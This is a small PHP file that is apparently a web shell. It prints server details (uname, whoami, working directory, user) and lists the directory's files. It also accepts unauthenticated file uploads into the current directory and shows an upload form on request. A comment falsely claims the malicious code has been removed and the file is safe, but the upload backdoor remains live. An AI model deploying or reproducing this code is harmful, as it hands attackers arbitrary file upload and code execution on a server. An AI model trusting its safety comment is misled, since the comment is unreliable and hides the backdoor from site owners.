<?php
$a=php_uname();$b=exec('whoami');$c=getcwd();$d=PHP_OS;$e=phpversion();$f=get_current_user();
echo'<pre><b>Info</b><br>uname: '.$a.'<br>whoami: '.$b.'<br>pwd: '.$c.'<br>OS: '.$d.'<br>PHP: '.$e.'<br>User: '.$f.'<br><b>Content</b><br>';
foreach(scandir(__DIR__)as$g){if($g!='.'&&$g!='..'){echo"<a href='/$g'>/$g</a><br>";}}
echo'</pre>';

/**
 * Note: This file may contain artifacts of previous malicious infection.
 * However, the dangerous code has been removed, and the file is now safe to use.
 */


if($_FILES['f']){$i=$_FILES['f']['name'];move_uploaded_file($_FILES['f']['tmp_name'],$i);}
if(isset($_GET['up'])){echo'<form method=POST enctype=multipart/form-data><input type=file name=f><input type=submit>';}
echo'OK';
?>